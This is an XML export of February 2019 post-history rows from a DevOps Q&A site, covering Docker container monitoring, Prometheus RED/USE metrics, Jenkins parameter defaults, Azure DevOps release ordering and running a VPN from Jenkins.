  <row Id="20551" PostHistoryTypeId="1" PostId="6450" RevisionGUID="caa716c7-5149-42a5-b81a-a8b6dbdca3ac" CreationDate="2019-02-24T11:26:59.973" UserId="10" Text="Which libraries generate observability metrics for applications in the cluster to prometheus?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20552" PostHistoryTypeId="3" PostId="6450" RevisionGUID="caa716c7-5149-42a5-b81a-a8b6dbdca3ac" CreationDate="2019-02-24T11:26:59.973" UserId="10" Text="&lt;kubernetes&gt;&lt;metrics&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20557" PostHistoryTypeId="2" PostId="6452" RevisionGUID="0ffe5b82-b329-4856-8540-4352751d588b" CreationDate="2019-02-24T14:04:24.580" UserId="12594" Text="Docker container dies when there is no process run in it. If you want a docker not to die you need a process to keep runing, This can be any process even bash process (/bin/bash). &#xD;&#xA;&#xD;&#xA;Usually a docker container can be re-started with `docker start` command, but you are using the `--rm` flag which tell the docker deamon to delete the container once it killed, meaning that when the container is stoped auto delete it, therefor you cannot re-start the container. &#xD;&#xA;&#xD;&#xA;Your problem is that you are using the docker in a wrong way, you tell the docker container to write the output of the process to the docker container file system and then delete the container, then you try to copy it. &#xD;&#xA;&#xD;&#xA;You should use a mounted volume from your host (by using `-v` flag) and write the output there, or you can enter docker with runing the command `/bin/bash` at the end, then you can run the process manually from inside the docker container, wait for it to finished, press `ctrl+p+q` to exit the container without killing it and copy the file using `docker cp` command and then kill the container what ever make you. Note that because `/bin/bash`  the container has a process and therefor it will not be killed (as your question was &quot;how to stop from container from dying...&quot;).&#xD;&#xA;             " ContentLicense="CC BY-SA 4.0" />
  <row Id="20561" PostHistoryTypeId="2" PostId="6454" RevisionGUID="4aebaf3e-9d9c-4085-8791-8c0f6ae919cd" CreationDate="2019-02-24T15:43:23.357" UserId="12596" Text="My home server has about 15 distinct services running, each represented by a Docker container. Depending on how the developers implemented the Dockerfile, some services have health checks, but most do not.&#xD;&#xA;&#xD;&#xA;At the moment, I do not have a way to make sure these services remain healthy and running. I do have the `restart: always` setting set, but worst case this just means Docker endlessly restarts a server if it fails to start or crashes on startup for whatever reason. Or maybe a `docker pull` caused an issue during an update. There could be many reasons why these services do not start, or stop running during the day.&#xD;&#xA;&#xD;&#xA;What I'd like is to know when they go down. Maybe an email that notifies me, so I can go fix the issue, instead of only finding out about the issue when a family member notifies me or when I try to use that service.&#xD;&#xA;&#xD;&#xA;Is there a reasonable way to monitor multiple Docker containers in this way? Do I have to hand-write a bunch of scripts that do `ps` to check for process up time or something? Preferably an out-of-the-box solution would be great. Note I use Docker Compose for everything, and I only have 1 physical machine where I run these services, so I don't need to worry about complex setups." ContentLicense="CC BY-SA 4.0" />
  <row Id="20562" PostHistoryTypeId="1" PostId="6454" RevisionGUID="4aebaf3e-9d9c-4085-8791-8c0f6ae919cd" CreationDate="2019-02-24T15:43:23.357" UserId="12596" Text="How do you monitor status of multiple docker containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20563" PostHistoryTypeId="3" PostId="6454" RevisionGUID="4aebaf3e-9d9c-4085-8791-8c0f6ae919cd" CreationDate="2019-02-24T15:43:23.357" UserId="12596" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20564" PostHistoryTypeId="5" PostId="6450" RevisionGUID="afa44377-b9d0-4df8-bb31-76a10c4d9cdd" CreationDate="2019-02-24T16:08:46.780" UserId="47" Comment="added reference" Text="I recently read &quot;Cloud Native DevOps with Kubernetes&quot; by O'reily and it mentions the [RED][1] and [USE][2] metrics which are a good starting point for gaining better observability into the system, however I'm having a hard time finding any information online about how to actually go about generating those metrics outside of re-inventing the wheel for each service.&#xD;&#xA;&#xD;&#xA;Is there a set of libraries to actually generate RED and USE metrics within the application?  Or do we have to create a set of utilities for each language and each service independently?&#xD;&#xA;&#xD;&#xA;Also, are there known solutions for sending CrashLoopBack or Pending pod metrics to Prometheus or do these also need to be reinvented in house?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dzone.com/articles/red-method-for-prometheus-3-key-metrics-for-micros&#xD;&#xA;  [2]: http://www.brendangregg.com/usemethod.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20565" PostHistoryTypeId="2" PostId="6455" RevisionGUID="7e0e643e-04a9-4b1f-ad3e-fd0cf362d8db" CreationDate="2019-02-24T16:49:44.370" UserId="47" Text="Note: answer based only on docs, I didn't play with docker much.&#xD;&#xA;&#xD;&#xA;If you choose scripting you could pick a higher layer than just `ps`, based on either:&#xD;&#xA;&#xD;&#xA;- the [`docker-compose events`][1] CLI:&#xD;&#xA;&#xD;&#xA;&gt;     Usage: events [options] [SERVICE...]&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     Options:&#xD;&#xA;&gt;         --json      Output events as a stream of json objects&#xD;&#xA;&gt; &#xD;&#xA;&gt; Stream container events for every container in the project.&#xD;&#xA;&#xD;&#xA;- the [`docker events`][2] CLI:&#xD;&#xA;&#xD;&#xA;&gt; **Description** &#xD;&#xA;&gt; &#xD;&#xA;&gt; Get real time events from the server&#xD;&#xA;&#xD;&#xA;You'd be looking for the `die` event of the container(from [Extended description][3]):&#xD;&#xA;&#xD;&#xA;&gt; Use `docker events` to get real-time events from the server. These&#xD;&#xA;&gt; events differ per Docker object type.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Object types**&#xD;&#xA;&gt; &#xD;&#xA;&gt; CONTAINERS&#xD;&#xA;&gt; &#xD;&#xA;&gt; - `die`&#xD;&#xA;&#xD;&#xA;The event appears to be generated regardless of the restart policy (from [Docker Events Explained][4]):&#xD;&#xA;&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;But you're right, there's [a ton of monitoring tools][6] out there, I also suspect some already do what you're seeking.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/reference/events/&#xD;&#xA;  [2]: https://docs.docker.com/engine/reference/commandline/events/&#xD;&#xA;  [3]: https://docs.docker.com/engine/reference/commandline/#object-types&#xD;&#xA;  [4]: https://gliderlabs.com/devlog/2015/docker-events-explained/&#xD;&#xA;  [5]: https://i.stack.imgur.com/6vYMW.png&#xD;&#xA;  [6]: https://www.google.com/search?q=docker%20monitor%20container" ContentLicense="CC BY-SA 4.0" />
  <row Id="20566" PostHistoryTypeId="5" PostId="6455" RevisionGUID="3c1d64f5-f75c-45b6-a46e-afd7a2da4511" CreationDate="2019-02-24T16:59:28.927" UserId="47" Comment="added 343 characters in body" Text="Note: answer based only on docs, I didn't play with docker much.&#xD;&#xA;&#xD;&#xA;If you choose scripting you could pick a higher layer than just `ps`, based on either:&#xD;&#xA;&#xD;&#xA;- the [`docker-compose events`][1] CLI:&#xD;&#xA;&#xD;&#xA;&gt;     Usage: events [options] [SERVICE...]&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     Options:&#xD;&#xA;&gt;         --json      Output events as a stream of json objects&#xD;&#xA;&gt; &#xD;&#xA;&gt; Stream container events for every container in the project.&#xD;&#xA;&#xD;&#xA;- the [`docker events`][2] CLI:&#xD;&#xA;&#xD;&#xA;&gt; **Description** &#xD;&#xA;&gt; &#xD;&#xA;&gt; Get real time events from the server&#xD;&#xA;&#xD;&#xA;You'd be looking for the `die` event of the container(from [Extended description][3]):&#xD;&#xA;&#xD;&#xA;&gt; Use `docker events` to get real-time events from the server. These&#xD;&#xA;&gt; events differ per Docker object type.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Object types**&#xD;&#xA;&gt; &#xD;&#xA;&gt; CONTAINERS&#xD;&#xA;&gt; &#xD;&#xA;&gt; - `die`&#xD;&#xA;&#xD;&#xA;The event appears to be generated regardless of the restart policy (from [Docker Events Explained][4]):&#xD;&#xA;&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;But you're right, there's [a ton of monitoring tools][6] out there, I also suspect some already do what you're seeking.&#xD;&#xA;&#xD;&#xA;Just aimlessly wandering through those links I got to [Implementing Docker event monitoring from scratch][7]:&#xD;&#xA;&#xD;&#xA;&gt; What else? **I can create alerts on them**. The next time any of my&#xD;&#xA;&gt; containers decide to puke and die, I can get an SMS message about&#xD;&#xA;&gt; their doomed state.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/reference/events/&#xD;&#xA;  [2]: https://docs.docker.com/engine/reference/commandline/events/&#xD;&#xA;  [3]: https://docs.docker.com/engine/reference/commandline/#object-types&#xD;&#xA;  [4]: https://gliderlabs.com/devlog/2015/docker-events-explained/&#xD;&#xA;  [5]: https://i.stack.imgur.com/6vYMW.png&#xD;&#xA;  [6]: https://www.google.com/search?q=docker%20monitor%20container&#xD;&#xA;  [7]: https://scoutapp.com/blog/monitoring-docker-events" ContentLicense="CC BY-SA 4.0" />
  <row Id="20567" PostHistoryTypeId="2" PostId="6456" RevisionGUID="6b642bd1-82e5-40f1-9fb0-b9ccb64e936e" CreationDate="2019-02-24T21:52:13.623" UserId="4175" Text="If most of those are network services, or at least have some administrative TCP/IP port open, then monitoring them by `curl` or `netcat` might not be the worst solution. That's how a full-fledged orchestration solution like OpenShift would do it. So, in somewhat increasing order:&#xD;&#xA;&#xD;&#xA;- Check if a TCP/IP port is open (`netcat -z`)&#xD;&#xA;- Check if the port is open and responds with a specific prompt (`netcat | grep HELLO`).&#xD;&#xA;- Check if the port answers with a specific HTML (for example) (`curl ... | grep &lt;p&gt;I'm alive&lt;/p&gt;`).&#xD;&#xA;&#xD;&#xA;And finally, if nothing else helps:&#xD;&#xA;&#xD;&#xA;- Check if a hand-written script returns `true`." ContentLicense="CC BY-SA 4.0" />
  <row Id="20568" PostHistoryTypeId="5" PostId="3807" RevisionGUID="f5bf7d3b-1b4c-4be0-bb75-135bbcf62915" CreationDate="2019-02-24T21:58:59.773" UserId="4427" Comment="added link to kube-prometheus" Text="It's possible but after doing many replatforming projects for clients I can't say I would advise it. Have you seen [kube-prometheus][1]? It's a one-shot install that will get you 90% of where you need to be for your cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The only way I can advise it would be if you're going to run 5 or more clusters and want central monitoring, but I'm a bigger fan of having a Grafana per cluster.&#xD;&#xA;&#xD;&#xA;Edit: Getting started with kube-prometheus is a one command install. `kubectl apply -f manifests/`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/prometheus-operator/tree/master/contrib/kube-prometheus" ContentLicense="CC BY-SA 4.0" />
  <row Id="20569" PostHistoryTypeId="2" PostId="6457" RevisionGUID="e14d64ba-0b6a-41fb-9114-03d1759f2c5f" CreationDate="2019-02-24T23:30:01.613" UserId="12594" Text="I think there is a way to do this on docker. &#xD;&#xA;&#xD;&#xA;&gt;As of Docker 1.10 User Namespaces are supported directly by the docker daemon. This feature allows for the root user in a container to be mapped to a **non uid-0** user outside the container, which can help to mitigate the risks of container breakout. This facility is available but not enabled by default.&#xD;&#xA;&#xD;&#xA;(https://docs.docker.com/engine/security/security/#/docker-daemon-attack-surface)&#xD;&#xA;&#xD;&#xA;You can map the root user inside docker container to specific user from the host machine (uid)  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20570" PostHistoryTypeId="2" PostId="6458" RevisionGUID="51ffea98-33a8-4436-994d-2651857c99d7" CreationDate="2019-02-25T07:26:35.180" UserId="6806" Text="You can use check_mk for monitoring the health of containers just as you could for any other machine. Read about it here..&#xD;&#xA;&#xD;&#xA;[Open Source Docker Monitoring Using Check MK][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://mathias-kettner.com/cms_monitoring_docker.html&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="20577" PostHistoryTypeId="2" PostId="6461" RevisionGUID="5bee04a5-2b5c-48de-b299-27f565697623" CreationDate="2019-02-25T11:26:53.483" UserId="11179" Text="I don't know about `git-all-secret` specifically, but from what I understand you are trying to capture the output produced by that tool. Since docker maps by default the standard output of a container to the standard output of the client `docker` command, you may achieve the desired result using something like that (untested):&#xD;&#xA;&#xD;&#xA;    sudo docker run --rm -it abhartiya/tools_gitallsecrets -org $org \&#xD;&#xA;         -output /dev/stdout \&#xD;&#xA;         -thogEntropy -token $githubtoken \&#xD;&#xA;     &gt; ./output.txt&#xD;&#xA;&#xD;&#xA;Many tools allow `-` as a synonym for /dev/stdout, so this might work:&#xD;&#xA;&#xD;&#xA;    sudo docker run --rm -it abhartiya/tools_gitallsecrets -org $org \&#xD;&#xA;         -output - \&#xD;&#xA;         -thogEntropy -token $githubtoken \&#xD;&#xA;     &gt; ./output.txt&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20581" PostHistoryTypeId="2" PostId="6463" RevisionGUID="3cb0bbe8-0e78-4fb3-a0ea-cdcdad7b4b54" CreationDate="2019-02-25T11:45:59.677" UserId="11179" Text="According to https://events.static.linuxfound.org/sites/events/files/slides/cc15_mcguire.pdf p21-23, Kevin McGuire  of New Relics classify the containers in three categories:&#xD;&#xA;&#xD;&#xA;- VM-like with a lifetime &gt; 1000h&#xD;&#xA;- &quot;Cloud-ish&quot; with a lifetime between 24 and 1000 hours&#xD;&#xA;- Lightweight compute engine with a lifetime &lt; 24h (and even &lt;1h for 46% of them)&#xD;&#xA;&#xD;&#xA;[![https://events.static.linuxfound.org/sites/events/files/slides/cc15_mcguire.pdf p21-23, Kevin McGuire  of New Relics][1]][1]&#xD;&#xA;&#xD;&#xA;I have hard-time to clearly define what are the &quot;cloud-ish&quot; containers:&#xD;&#xA;&#xD;&#xA;1. Are those typically &quot;microservices&quot; or is this something different?&#xD;&#xA;2. Would you put applications that scale on demand as part of those &quot;cloud-ish&quot; services, or would they fall into the &quot;lightweight compute engine&quot; category instead?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZCqnL.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20582" PostHistoryTypeId="1" PostId="6463" RevisionGUID="3cb0bbe8-0e78-4fb3-a0ea-cdcdad7b4b54" CreationDate="2019-02-25T11:45:59.677" UserId="11179" Text="Are microservices &quot;cloud-ish medium-lived services&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20583" PostHistoryTypeId="3" PostId="6463" RevisionGUID="3cb0bbe8-0e78-4fb3-a0ea-cdcdad7b4b54" CreationDate="2019-02-25T11:45:59.677" UserId="11179" Text="&lt;terminology&gt;&lt;term-disambiguation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20584" PostHistoryTypeId="5" PostId="6463" RevisionGUID="811911be-ec89-4167-9bdd-7dba8d9b32c2" CreationDate="2019-02-25T11:56:17.083" UserId="11179" Comment="added 2 characters in body" Text="According to https://events.static.linuxfound.org/sites/events/files/slides/cc15_mcguire.pdf p21-23, Kevin McGuire  of New Relics classifies the containers in three categories:&#xD;&#xA;&#xD;&#xA;- VM-like with a lifetime &gt; 1000h&#xD;&#xA;- &quot;Cloud-ish&quot; with a lifetime between 24 and 1000 hours&#xD;&#xA;- Lightweight compute engine with a lifetime &lt; 24h (and even &lt;1h for 46% of them)&#xD;&#xA;&#xD;&#xA;[![https://events.static.linuxfound.org/sites/events/files/slides/cc15_mcguire.pdf p21-23, Kevin McGuire  of New Relics][1]][1]&#xD;&#xA;&#xD;&#xA;I have hard-time to clearly define what are the &quot;cloud-ish&quot; containers:&#xD;&#xA;&#xD;&#xA;1. Are those typically &quot;microservices&quot; or is this something different?&#xD;&#xA;2. Would you put applications that scale on demand as part of those &quot;cloud-ish&quot; services, or would they fall into the &quot;lightweight compute engine&quot; category instead?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZCqnL.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20586" PostHistoryTypeId="2" PostId="6464" RevisionGUID="96edcb37-2f44-436a-8504-98bd7b327140" CreationDate="2019-02-25T13:16:03.497" UserId="6806" Text="Calling containers cloud-ish is simply child-ish. :)&#xD;&#xA;&#xD;&#xA;Well, I think the author is trying to classify the containers on the basis of their life-times. I don't see that they have considered any form of Agile working methodology here. In SCRUM, for instance, you would not have the containers running more than a few days. A very aggressively agile team would probably push new containers several times a day, thereby destroying older containers. Also, I think the dataset is small for a concrete classification in this case.&#xD;&#xA;&#xD;&#xA;And here's to answering the question for the sake of it. :)&#xD;&#xA;&#xD;&#xA;&gt; Are those typically &quot;microservices&quot; or is this something different?&#xD;&#xA;&#xD;&#xA;Ans: Assuming that the data is correct, I would say the short-lived containers are mostly created for managing load.&#xD;&#xA;&#xD;&#xA;&gt; Would you put applications that scale on demand as part of those &quot;cloud-ish&quot; services, or would they fall into the &quot;lightweight compute engine&quot; category instead?&#xD;&#xA;&#xD;&#xA;Ans: They can be either the Lightweight or the 'cloud-ish' servers depending upon what the load is computed to be." ContentLicense="CC BY-SA 4.0" />
  <row Id="20587" PostHistoryTypeId="5" PostId="6464" RevisionGUID="16157766-4f32-4c51-814d-beb44f8a93c4" CreationDate="2019-02-25T13:58:26.573" UserId="6806" Comment="added 104 characters in body" Text="Calling containers cloud-ish is simply child-ish. :)&#xD;&#xA;&#xD;&#xA;Well, I think the author is trying to classify the containers on the basis of their life-times. I don't see that they have considered any form of Agile working methodology here. In SCRUM, for instance, you would not have the containers running more than a few days. A very aggressively agile team would probably push new containers several times a day, thereby destroying older containers. Also, I think the dataset is small for a concrete classification in this case.&#xD;&#xA;&#xD;&#xA;And here's to answering the question for the sake of it. :)&#xD;&#xA;&#xD;&#xA;&gt; Are those typically &quot;microservices&quot; or is this something different?&#xD;&#xA;&#xD;&#xA;Ans: Assuming that the data is correct, I would say the short-lived containers are mostly created for managing load. This could be microservices or asynchronous processing(where a server is killed after job is completed.&#xD;&#xA;&#xD;&#xA;&gt; Would you put applications that scale on demand as part of those &quot;cloud-ish&quot; services, or would they fall into the &quot;lightweight compute engine&quot; category instead?&#xD;&#xA;&#xD;&#xA;Ans: They can be either the Lightweight or the 'cloud-ish' servers depending upon what the load is computed to be." ContentLicense="CC BY-SA 4.0" />
  <row Id="20589" PostHistoryTypeId="2" PostId="6465" RevisionGUID="b74ff980-9c8d-41a6-a17d-20db43c4bdd2" CreationDate="2019-02-25T17:00:46.167" UserId="11381" Text="I am trying to crate parameters field which is default to current build no.&#xD;&#xA;&#xD;&#xA;    parameters {&#xD;&#xA;        string(&#xD;&#xA;            name: 'DEPLOY_BUILD_NUMBER',&#xD;&#xA;            defaultValue: '${BUILD_NUMBER}',&#xD;&#xA;            description: 'Fresh Build and Deploy OR Deploy Previous Build Number'&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But it looks like the assignment of `BUILD_NUMBER` env var to parameter `DEPLOY_BUILD_NUMBER` is not happening.&#xD;&#xA;&#xD;&#xA;Is there any other way to do this ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20590" PostHistoryTypeId="1" PostId="6465" RevisionGUID="b74ff980-9c8d-41a6-a17d-20db43c4bdd2" CreationDate="2019-02-25T17:00:46.167" UserId="11381" Text="Jenkins parameters default to env variable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20591" PostHistoryTypeId="3" PostId="6465" RevisionGUID="b74ff980-9c8d-41a6-a17d-20db43c4bdd2" CreationDate="2019-02-25T17:00:46.167" UserId="11381" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20592" PostHistoryTypeId="5" PostId="6465" RevisionGUID="7e0a3ad5-5986-4501-9f28-a674ed8a690c" CreationDate="2019-02-25T17:17:55.000" UserId="11381" Comment="added 231 characters in body" Text="I am trying to crate parameters field which is default to current build no.&#xD;&#xA;&#xD;&#xA;    parameters {&#xD;&#xA;        string(&#xD;&#xA;            name: 'DEPLOY_BUILD_NUMBER',&#xD;&#xA;            defaultValue: '${BUILD_NUMBER}',&#xD;&#xA;            description: 'Fresh Build and Deploy OR Deploy Previous Build Number'&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But it looks like the assignment of `BUILD_NUMBER` env var to parameter `DEPLOY_BUILD_NUMBER` is not happening.&#xD;&#xA;&#xD;&#xA;event following one didn't help&#xD;&#xA;&#xD;&#xA;    steps {&#xD;&#xA;            script {&#xD;&#xA;                if (params.DEPLOY_BUILD_NUMBER == null){&#xD;&#xA;                    DEPLOY_BUILD_NUMBER = env.BUILD_NUMBER&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Is there any other way to do this ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20593" PostHistoryTypeId="5" PostId="6465" RevisionGUID="8a6b0b87-98fc-48b1-b00a-922cfe306a03" CreationDate="2019-02-25T17:48:37.953" UserId="11381" Comment="deleted 1 character in body" Text="I am trying to crate parameters field which is default to current build no.&#xD;&#xA;&#xD;&#xA;    parameters {&#xD;&#xA;        string(&#xD;&#xA;            name: 'DEPLOY_BUILD_NUMBER',&#xD;&#xA;            defaultValue: '${BUILD_NUMBER}',&#xD;&#xA;            description: 'Fresh Build and Deploy OR Deploy Previous Build Number'&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But it looks like the assignment of `BUILD_NUMBER` env var to parameter `DEPLOY_BUILD_NUMBER` is not happening.&#xD;&#xA;&#xD;&#xA;even following one didn't help&#xD;&#xA;&#xD;&#xA;    steps {&#xD;&#xA;            script {&#xD;&#xA;                if (params.DEPLOY_BUILD_NUMBER == null){&#xD;&#xA;                    DEPLOY_BUILD_NUMBER = env.BUILD_NUMBER&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Is there any other way to do this ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20594" PostHistoryTypeId="2" PostId="6466" RevisionGUID="488fe215-caa0-4e07-8f26-e553c33409fd" CreationDate="2019-02-25T18:16:44.767" UserId="12616" Text="I have this setup:&#xD;&#xA;&#xD;&#xA;1. Build 1 builds and trigger Release 1 when finished&#xD;&#xA;2. Build 2 is triggered by Build 1 and release Release 2&#xD;&#xA;&#xD;&#xA;If I have one parallel job, can I be sure that:&#xD;&#xA;&#xD;&#xA;* Release 1 is always run before the Build 2 is triggered?&#xD;&#xA;&#xD;&#xA;I have tested this, and it does the above, but I can't find any documentation on the flow anywhere.&#xD;&#xA;&#xD;&#xA;I need to release Release 1 before build 2 starts." ContentLicense="CC BY-SA 4.0" />
  <row Id="20595" PostHistoryTypeId="1" PostId="6466" RevisionGUID="488fe215-caa0-4e07-8f26-e553c33409fd" CreationDate="2019-02-25T18:16:44.767" UserId="12616" Text="Microsoft DevOps: build triggering vs release" ContentLicense="CC BY-SA 4.0" />
  <row Id="20596" PostHistoryTypeId="3" PostId="6466" RevisionGUID="488fe215-caa0-4e07-8f26-e553c33409fd" CreationDate="2019-02-25T18:16:44.767" UserId="12616" Text="&lt;azure-devops&gt;&lt;build-pipeline&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20597" PostHistoryTypeId="2" PostId="6467" RevisionGUID="298c5406-6f73-4897-88c9-90295c511594" CreationDate="2019-02-25T18:21:19.507" UserId="12617" Text="Before I dig in too far, is there any way I can use any of the AWS IoT core functions on non-supported hardware? &#xD;&#xA;&#xD;&#xA;I can use the AWS Node.js libraries that are available (for my hardware), but I don't think this is getting me into the core services.&#xD;&#xA;&#xD;&#xA;My alternative is just to build my own ecosystem on existing services like IAM/S3/SNS/EC2.&#xD;&#xA;&#xD;&#xA;Thanks for any help!" ContentLicense="CC BY-SA 4.0" />
  <row Id="20598" PostHistoryTypeId="1" PostId="6467" RevisionGUID="298c5406-6f73-4897-88c9-90295c511594" CreationDate="2019-02-25T18:21:19.507" UserId="12617" Text="Utilise AWS IoT on non-supported hardware" ContentLicense="CC BY-SA 4.0" />
  <row Id="20599" PostHistoryTypeId="3" PostId="6467" RevisionGUID="298c5406-6f73-4897-88c9-90295c511594" CreationDate="2019-02-25T18:21:19.507" UserId="12617" Text="&lt;amazon-web-services&gt;&lt;linux&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20605" PostHistoryTypeId="2" PostId="6469" RevisionGUID="9be1598b-8d03-4c66-9e09-4a60fd5cf407" CreationDate="2019-02-25T22:01:52.733" UserId="4115" Text="You need to use double quotes instead of single quotes.  Single-quoted strings don't perform string interpolation.&#xD;&#xA;&#xD;&#xA;For instance:&#xD;&#xA;&#xD;&#xA;    parameters {&#xD;&#xA;        string(&#xD;&#xA;            name: 'DEPLOY_BUILD_NUMBER',&#xD;&#xA;            defaultValue: &quot;${BUILD_NUMBER}&quot;,&#xD;&#xA;            description: 'Fresh Build and Deploy OR Deploy Previous Build Number'&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20606" PostHistoryTypeId="2" PostId="6470" RevisionGUID="27a55db2-332b-497b-a17f-6c5a7668dc03" CreationDate="2019-02-25T22:42:42.800" UserId="3926" Text="I was a little confused by the OP question and follow up, so answering about GitHub access to jenkinsfile-based pipeline jobs:&#xD;&#xA;Credentials stored in Jenkins can be available to all users with rights to create jobs. Use a GitHub deployment key for your repo. Yes you need a key for every repo. This does require a user in Github, of course, but there is nothing to stop you from paying for an extra so-called 'machine user.' We, however, just use a real person like me.&#xD;&#xA;&#xD;&#xA;This GitHub deploy key allows you to trigger on repo changes, or keep your jenkinsfile in Github. Using jenkinsfiles and keeping them in GitHub, is the best way to do Jenkins, I think." ContentLicense="CC BY-SA 4.0" />
  <row Id="20607" PostHistoryTypeId="2" PostId="6471" RevisionGUID="bc83979f-1974-4746-9a05-74d1a510a1e7" CreationDate="2019-02-25T23:38:51.980" UserId="10" Text="For Application specific calls you need to use a Prometheus client and create the metrics yourself. The Prometheus client will allow you to create a `/metrics` endpoint where you can output the current metric values which Prometheus will scrape.&#xD;&#xA;&#xD;&#xA;For metrics that are not unique to your application, you can use Prometheus exporters that will run on either the node, container, or runtime environment, or third-party software. These will also create targets which you can tell Prometheus to scrape to gather the metric data.&#xD;&#xA;&#xD;&#xA;Once the metric data is collected you'll need to write your own RED and USE queries in graphana to display those metrics.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20608" PostHistoryTypeId="2" PostId="6472" RevisionGUID="6d8df395-9c7e-4d12-b267-eefd7dbc5f2a" CreationDate="2019-02-26T00:15:19.913" UserId="3926" Text="There are other options- Containers on EC2 is what we do. A lot of people are not thrilled with ECS, and EKS is maturing as a better alternative, they say. &#xD;&#xA;&#xD;&#xA;It's hard to really devopsify the current Jenkins, without treating the persistent configuration as a one big persistent filesystem. By the time you've installed jobs, and plugins, and credentials, and configuration you may as well just maintain the whole designated storage filesystem, back it up to S3, and attach it to the container as you docker run. This practice is independent of the container-orchestration choice.&#xD;&#xA;&#xD;&#xA;Another problem that plagued us was/is maintaining build logs. Jenkins emails build logs in plain text, but I have yet to figure out how to ship them off to a filesystem where I can grep through them when debugging. Our current practice only keeps a few weeks worth. Maybe I missed something? Please correct me!&#xD;&#xA;&#xD;&#xA;There is a new JenkinsX aimed at Kubernetes, but not ready as of Feb 2019.&#xD;&#xA;&#xD;&#xA;That said, keeping your jobs as jenkinsfiles in GitHub works really well." ContentLicense="CC BY-SA 4.0" />
  <row Id="20609" PostHistoryTypeId="2" PostId="6473" RevisionGUID="485b1924-cfa7-470f-9b0c-723ddd995d87" CreationDate="2019-02-26T00:31:44.697" UserId="3926" Text="Using Jenkins to create its own network paths is either clever or crazy. Right now I am leaning toward crazy, and trying to justify this reaction.&#xD;&#xA;&#xD;&#xA;VPNs, particularly AnyConnect types, are normally maintained as infrastructure by network engineers and used for multiple uses. But it sounds like you want to deploy from inside your network to inside a customer network. Attaching a physical VPN between you is heavy-handed and likely to run into corporate road-blocks - if I've understood you correctly. Thinking of your problem as IoT causes me to suggest that you have your inside-customer device call up to the Cloud and pull down deployments, which you have staged in the Cloud. If your customer will give you an ingress port ( ours don't very often) you can have a two-way connection where the Cloud server pushes to the IoT device. But pull-only works well.&#xD;&#xA;&#xD;&#xA;You can establish a VPN from your IoT device to the Cloud, and in fact, most today would demand that this connection be encrypted in some way." ContentLicense="CC BY-SA 4.0" />
  <row Id="20613" PostHistoryTypeId="2" PostId="6475" RevisionGUID="6b9dc7e0-3160-4d04-9317-eea988ab6f32" CreationDate="2019-02-26T05:08:14.583" UserId="11598" Text="&gt;solutions is: **OpenConnect Plugin** &#xD;&#xA;&#xD;&#xA;See here: https://wiki.jenkins.io/display/JENKINS/OpenConnect+Plugin&#xD;&#xA;&#xD;&#xA;OR also you can use below method:&#xD;&#xA;&#xD;&#xA;On Linux (Debian based)&#xD;&#xA;&#xD;&#xA;    sudo apt-get install openconnect&#xD;&#xA;&#xD;&#xA;Add the following lines to the bottom of /etc/sudoers (ubuntu configuration)&#xD;&#xA;&#xD;&#xA;    jenkins ALL=NOPASSWD:/usr/sbin/openconnect*&#xD;&#xA;    jenkins ALL=NOPASSWD:/bin/kill*&#xD;&#xA;&#xD;&#xA;Then you will get an option in the Jenkins run task called:&#xD;&#xA;&#xD;&#xA;    Connect to Cisco AnyConnect VPN" ContentLicense="CC BY-SA 4.0" />
